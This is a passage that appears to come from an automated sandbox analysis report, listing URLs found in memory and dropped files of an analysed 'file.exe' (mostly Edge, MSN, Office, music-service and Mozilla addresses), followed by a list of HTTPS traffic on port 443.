Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log9.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.14.dr, 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.14.dr, 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.14.dr, 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.14.dr, 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log9.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://gaana.com/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: IIIECAAKECFHIECBKJDH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://m.kugou.com/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://m.vk.com/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.15.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.15.dr	String found in binary or memory: https://msn.comXIDv10:r
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://music.amazon.com
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://music.apple.com
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.14.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.14.dr, 000003.log3.14.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.14.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.14.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.14.dr, 000003.log0.14.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log0.14.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377223174934590.14.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.14.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.14.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://open.spotify.com
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://srtb.msn.com/
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://tidal.com/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://web.telegram.org/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://web.whatsapp.com
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2702650292.0000000023A3D000.00000004.00000020.00020000.00000000.sdmp, IIIECAAKECFHIECBKJDH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.14.dr, content.js.14.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2367220170.0000000023978000.00000004.00000020.00020000.00000000.sdmp, JEBKEHJJ.0.dr, HIDAAKEG.0.dr, Web Data.14.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 64b477bd-07de-4234-8ba8-c616528141ea.tmp.15.dr, 9ab4dbbd-b71c-4f91-acdc-fbd52eda745c.tmp.15.dr	String found in binary or memory: https://www.googleapis.com
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.instagram.com
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.last.fm/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.messenger.com
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: GHCGDAFCFHIDBGDHCFCBFBFIIJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.office.com
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: file.exe, 00000000.00000002.2702650292.0000000023A3D000.00000004.00000020.00020000.00000000.sdmp, IIIECAAKECFHIECBKJDH.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.tiktok.com/
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://www.youtube.com
Source: 5e2dc1b6-ddbf-4bb4-a0ad-04694cc8a393.tmp.14.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
